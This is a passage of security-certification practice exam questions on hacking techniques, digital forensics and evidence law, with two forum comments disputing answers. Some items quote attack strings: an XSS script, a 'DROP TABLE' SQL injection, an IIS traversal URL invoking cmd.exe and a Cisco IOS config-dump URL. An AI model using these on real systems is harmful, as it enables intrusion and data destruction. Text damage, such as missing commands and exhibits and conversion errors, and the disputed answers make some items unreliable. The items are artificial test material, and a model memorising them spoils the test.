A. PDF passwords can easily be cracked by software brute force tools 
B. PDF passwords are converted to clear text when sent through E-mail 
C. PDF passwords are not considered safe by Sarbanes-Oxley 
D. When sent through E-mail, PDF passwords are stripped from the document completely 
140. John and Hillary works at the same department in the company. John wants to find out Hillary.s network 
password so he can take a look at her documents on the file server. He enables Lophtcrack program to 
sniffing mode. John sends Hillary an email with a link to Error! Reference source not founD. What 
information will he be able to gather from this? 
A. Hillary network username and password hash 
B. The SID of Hillary network account 
C. The SAM file from Hillary computer 
D. The network shares that Hillary has permissions 
141. Larry is an IT consultant who works for corporations and government agencies. Larry plans on shutting 
down the city.s network using BGP devices and zombies? What type of Penetration Testing is Larry 
planning to carry out? 
A. Router Penetration Testing 
B. DoS Penetration Testing 
C. Firewall Penetration Testing 
D. Internal Penetration Testing 
142. An ¡°idle¡± system is also referred to as what? 
A. PC not connected to the Internet 
B. Zombie 
C. PC not being used 
D. Bot 
143. You are the network administrator for a small bank in Dallas, Texas. To ensure network security, you enact 
a security policy that reQuires all users to have 14 character passwords. After giving your users 2 weeks 
notice, you change the Group Policy to force 14 character passwords. A week later you dump the SAM 
database from the standalone server and run a password-cracking tool 
against it. Over 99% of the passwords are broken within an hour. Why were these passwords cracked so 
Quickly? 
A. Passwords of 14 characters or less are broken up into two 7-character hashes 
B. A password Group Policy change takes at least 3 weeks to completely replicate throughout a network 
C. Networks using Active Directory never use SAM databases so the SAM database pulled was empty 
D. The passwords that were cracked are local accounts on the Domain Controller 
144. What is the following command trying to accomplish? 
A. Verify that UDP port 445 is open for the 192.168.0.0 network 
B. Verify that TCP port 445 is open for the 192.168.0.0 network 
C. Verify that NETBIOS is running for the 192.168.0.0 network 
D. Verify that UDP port 445 is closed for the 192.168.0.0 network 
145. You are a security analyst performing a penetration tests for a company in the Midwest. After some initial 
reconnaissance, you discover the IP addresses of some Cisco routers used by the company. You type in the 
following URL that includes the IP address of one of the routers: 
http://172.168.4.131/level/99/exec/show/config 
After typing in this URL, you are presented with the entire configuration file for that router. What have you 
discovered? 
A. HTTP Configuration Arbitrary Administrative Access Vulnerability 
B. HTML Configuration Arbitrary Administrative Access Vulnerability 
C. Cisco IOS Arbitrary Administrative Access Online Vulnerability 
D. URL Obfuscation Arbitrary Administrative Access Vulnerability 
146. You work as an IT security auditor hired by a law firm in Boston to test whether you can gain access to 
sensitive information about the company clients. You have rummaged through their trash and found very 
little information. You do not want to set off any alarms on their network, so you plan on performing 
passive footprinting against their Web servers. What tool should you use? 
A. Ping sweep 
B. Nmap 
C. Netcraft 
D. Dig 
147. Jessica works as systems administrator for a large electronics firm. She wants to scan her network quickly 
to detect live hosts by using ICMP ECHO Requests. What type of scan is Jessica going to perform? 
A. Tracert 
B. Smurf scan 
C. Ping trace 
D. ICMP ping sweep 
148. You are assisting a Department of Defense contract company to become compliant with the stringent 
security policies set by the DoD. One such strict rule is that firewalls must only allow incoming 
connections that were first initiated by internal computers. What type of firewall must you implement to 
abide by this policy? 
A. Packet filtering firewall 
B. Circuit-level proxy firewall 
C. Application-level proxy firewall 
D. Statefull firewall 
149. Michael works for Kimball Construction Company as senior security analyst. As part of yearly security 
audit, Michael scans his network for vulnerabilities. Using Nmap, Michael conducts XMAS scan and most 
of the ports scanned do not give a response. In what state are these ports? 
A. Closed 
B. Open 
C. Stealth 
D. Filtered 
150. If an attacker.s computer sends an IPID of 31400 to a zombie computer on an open port in IDLE scanning, 
what will be the response? 
A. The zombie will not send a response 
B. 31402 
C. 31399 
D. 31401 
151. You are carrying out the last round of testing for your new website before it goes live. The website has 
many dynamic pages and connects to a SQL backend that accesses your product inventory in a database. 
You come across a web security site that recommends inputting the following code into a search field on 
web pages to check for vulnerabilities: 
<script>alert(¡°This is a test.¡±)</script> 
When you type this and click on search, you receive a pop-up window that says: 
¡°This is a test.¡± 
What is the result of this test? 
A. Your website is vulnerable to CSS 
B. Your website is not vulnerable 
C. Your website is vulnerable to SQL injection 
D. Your website is vulnerable to web bugs 
152. You setup SNMP in multiple offices of your company. Your SNMP software manager is not receiving data 
from other offices like it is for your main office. You suspect that firewall changes are to blame. What ports 
should you open for SNMP to work through Firewalls (Select 2) 
A. 162 
B. 161 
C. 163 
D. 160 
153. What will the following command produce on a website login page? 
SELECT email, passwd, login_id, full_name 
FROM members 
WHERE email = .someone@somehwere.com.; DROP TABLE members; .. 
A. Deletes the entire members table 
B. Inserts the Error! Reference source not founD. email address into the members table 
C. Retrieves the password for the first user in the members table 
D. This command will not produce anything since the syntax is incorrect 
154. Simon is a former employee of Trinitron XML InC. He feels he was wrongly terminated and wants to hack 
into his former company.s network. Since Simon remembers some of the server names, he attempts to run 
the axfr and ixfr commands using DIG. What is Simon trying to accomplish here? 
A. Send DOS commands to crash the DNS servers 
B. Perform DNS poisoning 
C. Perform a zone transfer 
D. Enumerate all the users in the domain 
155. When you are running a vulnerability scan on a network and the IDS cuts off your connection, what type of 
IDS is being used? 
A. Passive IDS 
B. Active IDS 
C. Progressive IDS 
D. NIPS 
156. Which of the following filesystem is used by Mac OS X? 
A. EFS 
B. HFS+ 
C. EXT2 
D. NFS 
157. Hackers can gain access to Windows Registry and manipulate user passwords, DNS settings, access rights 
or others features that they may need in order to accomplish their objectives. One simple method for 
loading an application at startup is to add an entry (Key) to the following Registry Hive: 
A. HKEY_LOCAL_MACHINEhardwarewindowsstart 
B. HKEY_LOCAL_USERSSoftware|MicrosoftoldVersionLoad 
C. HKEY_CURRENT_USERMicrosoftDefault 
D. HKEY_LOCAL_MACHINESoftwareMicrosoftCurrentVersionRun 
158. You are a computer forensics investigator working with local police department and you are called to assist 
in an investigation of threatening emails. The complainant has printer out 27 email messages from the 
suspect and gives the printouts to you. You inform her that you will need to examine her computer because 
you need access to the _________________________ in order to track the emails back to the suspect. 
A. Routing Table 
B. Firewall log 
C. Configuration files 
D. Email Header 
159. The rule of thumb when shutting down a system is to pull the power plug. However, it has certain 
drawbacks. Which of the following would that be? 
A. Any data not yet flushed to the system will be lost 
B. All running processes will be lost 
C. The /tmp directory will be flushed 
D. Power interruption will corrupt the pagefile 
160. The efforts to obtain information before a trail by demanding documents, depositions, questioned and 
answers written under oath, written requests for admissions of fact and examination of the scene is a 
description of what legal term? 
A. Detection 
B. Hearsay 
C. Spoliation 
D. Discovery 
161. Microsoft Outlook maintains email messages in a proprietary format in what type of file? 
A. .email 
B. .mail 
C. .pst 
D. .doc 
162. Law enforcement officers are conducting a legal search for which a valid warrant was obtaineD. While 
conducting the search, officers observe an item of evidence for an unrelated crime that was not included in 
the warrant. The item was clearly visible to the officers and immediately identified as evidence. What is the 
term used to describe how this evidence is admissible? 
A. Plain view doctrine 
B. Corpus delicti 
C. Locard Exchange Principle 
D. Ex Parte Order 
163. You are working as an independent computer forensics investigator and receive a call from a systems 
administrator for a local school system requesting your assistance. One of the students at the local high 
school is suspected of downloading inappropriate images from the Internet to a PC in the Computer laB. 
When you arrive at the school, the systems administrator hands you a hard drive and tells you that he made 
a simple backup copy of the hard drive in the PC and put it on this drive and requests that you examine that 
drive for evidence of the suspected images. You inform him that a simple backup copy will not provide 
deleted files or recover file fragments. What type of copy do you need to make to ensure that the evidence 
found is complete and admissible in future proceedings? 
A. Bit-stream Copy 
B. Robust Copy 
C. Full backup Copy 
D. Incremental Backup Copy 
164. You are assisting in the investigation of a possible Web Server Hack. The company who called you stated 
that customers reported to them that whenever they entered the web address of the company in their 
browser, what they received was a porno graphic web site. The company checked the web server and 
nothing appears wrong. When you type in the IP address of the web 
site in your browser everything appears normal. What is the name of the attack that affects the DNS cache 
of the name resolution servers, resulting in those servers directing users to the wrong web site? 
A. ARP Poisoning 
B. DNS Poisoning 
C. HTTP redirect attack 
D. IP Spoofing 
165. In conducting a computer abuse investigation you become aware that the suspect of the investigation is 
using ABC Company as his Internet Service Provider (ISP). You contact ISP and request that they provide 
you assistance with your investigation. What assistance can the ISP provide? 
A. The ISP can investigate anyone using their service and can provide you with assistance 
B. The ISP can investigate computer abuse committed by their employees, but must preserve the privacy of 
their customers and therefore cannot assist you without a warrant 
C. The ISP can.t conduct any type of investigations on anyone and therefore can.t assist you 
D. ISP.s never maintain log files so they would be of no use to your investigation 
166. As a CHFI professional, which of the following is the most important to your professional reputation? 
A. Your Certifications 
B. The correct, successful management of each and every case 
C. The free that you charge 
D. The friendship of local law enforcement officers 
167. You are conducting an investigation of fraudulent claims in an insurance company that involves complex 
text searches through large numbers of documents. Which of the following tools would allow you to 
quickly and efficiently search for a string within a file on the bitmap image of the target 
computer? 
A. Stringsearch 
B. grep 
C. dir 
D. vim 
168. When cataloging digital evidence, the primary goal is to 
A. Make bit-stream images of all hard drives 
B. Preserve evidence integrity 
C. Not remove the evidence from the scene 
D. Not allow the computer to be turned off 
169. The police believe that Mevin Mattew has been obtaining unauthorized access to computers belonging to 
numerous computer software and computer operating systems manufacturers, cellular telephone 
manufacturers, Internet Service Providers and Educational Institutions. They also suspect that he has been 
stealing, copying and misappropriating proprietary computer software belonging to the several victim 
companies. What is preventing the police from breaking down the suspects door and searching his home 
and seizing all of his computer equipment if they have not yet obtained a warrant ? 
A. The Fourth Amendment 
B. The USA patriot Act 
C. The Good Samaritan Laws 
D. The Federal Rules of Evidence 
170. A law enforcement officer may only search for and seize criminal evidence with 
_______________________, which are facts or circumstances that would lead a reasonable person to 
believe a crime has been committed or is about to be committed, evidence of the 
specific crime exists and the evidence of the specific crime exists at the place to be searcheD. 
A. Mere Suspicion 
B. A preponderance of the evidence 
C. Probable cause 
D. Beyond a reasonable doubt 
171. You are working as a Computer forensics investigator for a corporation on a computer abuse case. You 
discover evidence that shows the subject of your investigation is also embezzling money from the 
company. The company CEO and the corporate legal counsel advise you to contact law enforcement and 
provide them with the evidence that you have founD. The law enforcement officer that responds requests 
that you put a network sniffer on your network and monitor all traffic to the subjects computer. You inform 
the officer that you will not be able to 
comply with that request because doing so would: 
A. Violate your contract 
B. Cause network congestion 
C. Make you an agent of law enforcement 
D. Write information to the subjects hard drive 
172. You have been asked to investigate after a user has reported a threatening e-mail they have received from 
an external source. Which of the following are you most interested in when trying to trace the source of the 
message? 
A. The X509 Address 
B. The SMTP reply Address 
C. The E-mail Header 
D. The Host Domain Name 
173. You have completed a forensic investigation case. You would like to destroy the data contained in various 
disks at the forensics lab due to sensitivity of the case. How would you permanently erase the data on the 
hard disk? 
A. Throw the hard disk into the fire 
B. Run the powerful magnets over the hard disk 
C. Format the hard disk multiple times using a low level disk utility 
D. Overwrite the contents of the hard disk with Junk data 
174. Office Documents (Word, Excel and PowerPoint) contain a code that allows tracking the MAC or unique 
identifier of the machine that created the document. What is that code called ? 
A. Globally unique ID 
B. Microsoft Virtual Machine Identifier 
C. Personal Application Protocol 
D. Individual ASCII string 
175. When using Windows acquisitions tools to acquire digital evidence, it is important to use a well- tested 
hardware write-blocking device to: 
A. Automate Collection from image files 
B. Avoiding copying data from the boot partition 
C. Acquire data from host-protected area on a disk 
D. Prevent Contamination to the evidence drive 
176. An Expert witness give an opinion if: 
A. The Opinion, inferences or conclusions depend on special knowledge, skill or training not within the 
ordinary experience of lay jurors 
B. To define the issues of the case for determination by the finder of fact 
C. To stimulate discussion between the consulting expert and the expert witness 
D. To deter the witness form expanding the scope of his or her investigation beyond the requirements of the 
case 
177. Printing under a Windows Computer normally requires which one of the following files types to be 
created? 
A. EME 
B. MEM 
C. EMF 
D. CME 
178. Profiling is a forensics technique for analyzing evidence with the goal of identifying the perpetrator from 
their various activity. After a computer has been compromised by a hacker, which of the following would 
be most important in forming a profile of the incident? 
A. The manufacturer of the system compromised 
B. The logic, formatting and elegance of the code used in the attack 
C. The nature of the attack 
D. The vulnerability exploited in the incident 
179. To preserve digital evidence, an investigator should ____________________ 
A. Make tow copies of each evidence item using a single imaging tool 
B. Make a single copy of each evidence item using an approved imaging tool 
C. Make two copies of each evidence item using different imaging tools 
D. Only store the original evidence item 
180. What is the name of the Standard Linux Command that is also available as windows application that can be 
used to create bit-stream images ? 
A. mcopy 
B. image 
C. MD5 
D. dd 
181. ____________________ is simply the application of Computer Investigation and analysis techniques in the 
interests of determining potential legal evidence. 
A. Network Forensics 
B. Computer Forensics 
C. Incident Response 
D. Event Reaction 
182. During the course of a corporate investigation, you find that an Employee is committing a crime. Can the 
Employer file a criminal complain with Police? 
A. Yes, and all evidence can be turned over to the police 
B. Yes, but only if you turn the evidence over to a federal law enforcement agency 
C. No, because the investigation was conducted without following standard police procedures 
D. No, because the investigation was conducted without warrant 
183. The ____________________ refers to handing over the results of private investigations to the authorities 
because of indications of criminal activity. 
A. Locard Exchange Principle 
B. Clark Standard 
C. Kelly Policy 
D. Silver-Platter Doctrine 
184. This organization maintains a database of hash signatures for known software 
A. International Standards Organization 
B. Institute of Electrical and Electronics Engineers 
C. National Software Reference Library 
D. American National standards Institute 
185. One technique for hiding information is to change the file extension from the correct one to one that might 
not be noticed by an investigator. For example, changing a .jpg extension to a .doc extension so that a 
picture file appears to be a document. What can an investigator examine to 
verify that a file has the correct extension? 
A. the File Allocation Table 
B. the file header 
C. the file footer 
D. the sector map 
186. You are employed directly by an attorney to help investigate an alleged sexual harassment case at a large 
pharmaceutical manufacture. While at the corporate office of the company, the CEO demands to know the 
status of the investigation. What prevents you from discussing the case with 
the CEO? 
A. the attorney-work-product rule 
B. Good manners 
C. Trade secrets 
D. ISO 17799 
187. Melanie was newly assigned to an investigation and asked to make a copy of all the evidence from the 
compromised system. Melanie did a DOS copy of all the files on the system. What would be the primary 
reason for you to recommend a disk imaging tool? 
A. A disk imaging tool would check for CRC32s for internal self checking and validation and have MD5 
checksum 
B. Evidence file format will contain case data entered by the examiner and encrypted at the beginning of 
the evidence file 
C. A simple DOS copy will not include deleted files, file slack and other information 
D. There is no case for an imaging tool as it will use a closed, proprietary format that if compared to the 
original will not match up sector for sector 
188. What information do you need to recover when searching a victims computer for a crime committed with 
specific e-mail message? 
A. Internet service provider information 
B. E-mail header 
C. Username and password 
D. Firewall log 
189. A honey pot deployed with the IP 172.16.1.108 was compromised by an attacker . Given below is an 
excerpt from a Snort binary capture of the attack. Decipher the activity carried out by the attacker by 
studying the log. Please note that you are required to infer only what is explicit in the excerpt. 
(Note: The student is being tested on concepts learnt during passive OS fingerprinting, basic TCP/IP 
connection concepts and the ability to read packet signatures from a sniff dump.) 
03/15-20:21:24.107053 211.185.125.124:3500 -> 172.16.1.108:111 TCP TTL:43 TOS:0¡¿0 ID:29726 
IpLen:20 DgmLen:52 DF 
***A**** Seq: 0x9B6338C5 Ack: 0x5820ADD0 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP 
NOP TS: 23678634 2878772 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= 
03/15-20:21:24.452051 211.185.125.124:789 -> 172.16.1.103:111 UDP TTL:43 TOS:0¡¿0 ID:29733 
IpLen:20 DgmLen:84 
Len: 64 
01 0A 8A 0A 00 00 00 00 00 00 00 02 00 01 86 A0 ¡¦¡¦¡¦¡¦¡¦. 00 00 00 02 00 00 00 03 00 00 00 00 00 
00 00 00 ¡¦¡¦¡¦¡¦¡¦. 00 00 00 00 00 00 00 00 00 01 86 B8 00 00 00 01 ¡¦¡¦¡¦¡¦¡¦. 
00 00 00 11 00 00 00 00 ¡¦¡¦.. 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= 03/15- 
20:21:24.730436 211.185.125.124:790 -> 172.16.1.103:32773 UDP TTL:43 TOS:0¡¿0 ID:29781 IpLen:20 
DgmLen:1104 
Len: 1084 
47 F7 9F 63 00 00 00 00 00 00 00 02 00 01 86 B8 
A. The attacker has conducted a network sweep on port 111 
B. The attacker has scanned and exploited the system using Buffer Overflow 
C. The attacker has used a Trojan on port 32773 
D. The attacker has installed a backdoor 
190. One way to identify the presence of hidden partitions on a suspect.s hard drive is to: 
A. Add up the total size of all known partitions and compare it to the total size of the hard drive 
B. Examine the FAT and identify hidden partitions by noting an H in the partition Type field 
C. Examine the LILO and note an H in the partition Type field 
D. It is not possible to have hidden partitions on a hard drive 
191. What does mactime, an essential part of the coroner.s toolkit do? 
A. It traverses the file system and produces a listing of all files based on the modification, access and 
change timestamps 
B. It can recover deleted file space and search it for datA. However, it does not allow the investigator t 
preview them 
C. The tools scans for i-node information, which is used by other tools in the tool kit 
D. It is tool specific to the MAC OS and forms a core component of the toolkit 
192. The use of warning banners helps a company avoid litigation by overcoming an employees assumed 
__________________________ When connecting to the company.s intranet, network or Virtual Private 
Network(VPN) and will allow the company.s investigators to monitor, search and retrieve information 
stored within the network. 
A. Right to work 
B. Right of free speech 
C. Right to Internet Access 
D. Right of Privacy 
193. Chris has been called upon to investigate a hacking incident reported by one of his clients. The company 
suspects the involvement of an insider accomplice in the attack. Upon reaching the incident scene, Chris 
secures the physical area, records the scene using visual mediA. He shuts the system down by pulling the 
power plug so that he does not disturb the system in any way. He labels all cables and connectors prior to 
disconnecting any. What do you think would be the next sequence of events? 
A. Connect the target media; prepare the system for acquisition; Secure the evidence; Copy the media 
B. Prepare the system for acquisition; Connect the target media; copy the media; Secure the evidence 
C. Connect the target media; Prepare the system for acquisition; Secure the evidence; Copy the media 
D. Secure the evidence; prepare the system for acquisition; Connect the target media; copy the media 
194. When investigating a Windows System, it is important to view the contents of the page or swap file 
because: 
A. Windows stores all of the systems configuration information in this file 
B. This is file that windows use to communicate directly with Registry 
C. A Large volume of data can exist within the swap file of which the computer user has no knowledge 
D. This is the file that windows use to store the history of the last 100 commands that were run from the 
command line 
195. A state department site was recently attacked and all the servers had their disks eraseD. The incident 
response team sealed the area and commenced investigation. During evidence collection they came across a 
zip disks that did not have the standard labeling on it. The incident team ran the disk on an isolated system 
and found that the system disk was accidentally eraseD. They decided to call in the FBI for further 
investigation. Meanwhile, they short listed possible suspects including three summer interns. Where did the 
incident team go wrong? 
A. They examined the actual evidence on an unrelated system 
B. They attempted to implicate personnel without proof 
C. They tampered with evidence by using it 
D. They called in the FBI without correlating with the fingerprint data 
196. Which of the following refers to the data that might still exist in a cluster even though the original file has 
been overwritten by another file? 
A. Sector 
B. Metadata 
C. MFT 
D. Slack Space 
197. What should you do when approached by a reporter about a case that you are working on or have worked 
on? 
A. Refer the reporter to the attorney that retained you 
B. Say, ¡°no comment¡± 
C. Answer all the reporters questions as completely as possible 
D. Answer only the questions that help your case 
198. This is original file structure database that Microsoft originally designed for floppy disks. It is written to the 
outermost track of a disk and contains information about each file stored on the drive. 
A. Master Boot Record (MBR) 
B. Master File Table (MFT) 
C. File Allocation Table (FAT) 
D. Disk Operating System (DOS) 
199. You are working in the security Department of law firm. One of the attorneys asks you about the topic of 
sending fake email because he has a client who has been charged with doing just that. His client alleges that 
he is innocent and that there is no way for a fake email to actually be sent. You inform the attorney that his 
client is mistaken and that fake email is possibility and that you can prove it. You return to your desk and 
craft a fake email to the attorney that appears to come from his boss. What port do you send the email to on 
the company SMTP server? 
A. 10 
B. 25 
C. 110 
D. 135 
200. Volatile Memory is one of the leading problems for forensics. Worms such as code Red are memory 
resident and do write themselves to the hard drive, if you turn the system off they disappear. In a lab 
environment, which of the following options would you suggest as the most appropriate to overcome the 
problem of capturing volatile memory? 
A. Use Vmware to be able to capture the data in memory and examine it 
B. Give the Operating System a minimal amount of memory, forcing it to use a swap file 
C. Create a Separate partition of several hundred megabytes and place the swap file there 
D. Use intrusion forensic techniques to study memory resident infections 
201. Diskcopy is: 
A. a utility byAccessData 
B. a standard MS-DOS command 
C. Digital Intelligence utility 
D. dd copying tool 
Explanation: 
diskcopy is a STANDARD DOS utility. C:WINDOWS>diskcopy /? Copies the contents of one floppy disk to 
another. 
202. What will the following URL produce in an unpatched IIS Web Server? 
http://www.thetargetsite.com/scripts/..% co%af../..%co%af../windows/system32/cmD. exe?/c+dir+c: 
A. Directory listing of C: drive on the web server 
B. Insert a Trojan horse into the C: drive of the web server 
C. Execute a buffer flow in the C: drive of the web server 
D. Directory listing of the C:windowssystem32 folder on the web server 
203. After attending a CEH security seminar, you make a list of changes you would like to perform on your 
network to increase its security. One of the first things you change is to switch the RestrictAnonymous 
setting from 0 to 1 on your servers. This, as you were told, would prevent anonymous users from 
establishing a null session on the server. Using Userinfo tool mentioned at the seminar, you succeed in 
establishing a null session with one of the servers. Why is that? 
A. RestrictAnonymous must be set to ¡°10¡È for complete security 
B. RestrictAnonymous must be set to ¡°3¡È for complete security 
C. RestrictAnonymous must be set to ¡°2¡È for complete security 
D. There is no way to always prevent an anonymous null session from establishing 
204. View the Exhibi: 
Paulette works for an IT security consulting company that is currently performing an audit for the firm 
ACE UnlimiteD. Paulette.s duties include logging on to all the company.s network equipment to ensure 
IOS versions are up-to-date and all the other security settings are as stringent as possible. Paulette presents 
the following screenshot to her boss so he can inform the client about necessary changes need to be made. 
From the screenshot, what changes should the client company make? 
Exhibit: 
A. Remove any identifying numbers, names, or version information 
B. The banner should have more detail on the version numbers for the networkeQuipment 
C. The banner should not state ¡°only authorized IT personnel may proceed¡± 
D. The banner should include the Cisco tech support contact information as well 
205. You are working as Computer Forensics investigator and are called by the owner of an accounting firm to 
investigate possible computer abuse by one of the firms employees. You meet with the owner of the firm 
and discover that the company has never published a policy stating that they reserve the right to inspect 
their computing assets at will. What do you do? 
A. Inform the owner that conducting an investigation without a policy is not a problem because the 
company is privately owned 
B. Inform the owner that conducting an investigation without a policy is a violation of the 4th amendment 
C. Inform the owner that conducting an investigation without a policy is a violation of the employees 
expectation of privacy 
D. Inform the owner that conducting an investigation without a policy is not a problem because a policy is 
only necessary for government agencies 
206. After passing her CEH exam, Carol wants to ensure that her network is completely secure. She implements 
a DMZ, statefull firewall, NAT, IPSEC, and a packet filtering firewall. Since all security measures were 
taken, none of the hosts on her network can reach the Internet. Why is that? 
A. Statefull firewalls do not work with packet filtering firewalls 
B. NAT does not work withstatefull firewalls 
C. IPSEC does not work with packet filtering firewalls 
D. NAT does not work with IPSEC 
1. val says: 
June 26, 2012 at 5:04 am 
since when NAT doesnt work with IPSEC? none of the answers are correct 
2. Ay says: 
July 10, 2012 at 6:37 am 
D is correct. Conventional NAT will not work on IPSec packets: when the packet goes through NAT, the 
source address in the packet changes, and that renders the packet invaliD. 
207. John is using Firewalk to test the security of his Cisco PIX firewall. He is also utilizing a sniffer located on 
a subnet that resides deep inside his network. After analyzing the sniffer log files, he does not see any of 
the traffic produced by Firewalk. Why is that? 
A. Firewalk cannot pass through Cisco firewalls 
B. Firewalk sets all packets with a TTL of zero 
C. Firewalk cannot be detected by network sniffers 
D. Firewalk sets all packets with a TTL of one 
1. val says: 
June 26, 2012 at 5:02 am 
i have a problem with this answer also. When you do firealwking its not mean you setting all ttl to 1 it 
could be set a different value other than 0. Now, sniffers cant really detect firewalking, so it should be the 
correct answer 
2. Ay says: 
July 10, 2012 at 6:26 am 
Firewalk sends out packets with a TTL one greater than the targeted gateway. If the target is one hop 
count away, firewalk.s packet would have a TTL of 2. Though D is technically wrong, it.s the closest to 
the right answer. 
208. You are running through a series of tests on your network to check for any security vulnerabilities. After 
normal working hours, you initiate a DoS attack against your external firewall. The firewall Quickly 
freezes up and becomes unusable. You then initiate an FTP connection from an external IP into your 
internal network. The connection is successful even though you have FTP blocked at the external firewall. 
What has happened? 
A. The firewall failed-bypass 
B. The firewall failed-closed 
C. The firewall ACL has been purged 
 
D. The firewall failed-open</div>

Jawaban FORESEC information security level 4 | 312-49 Computer Hacking Forensic Investigator 2011

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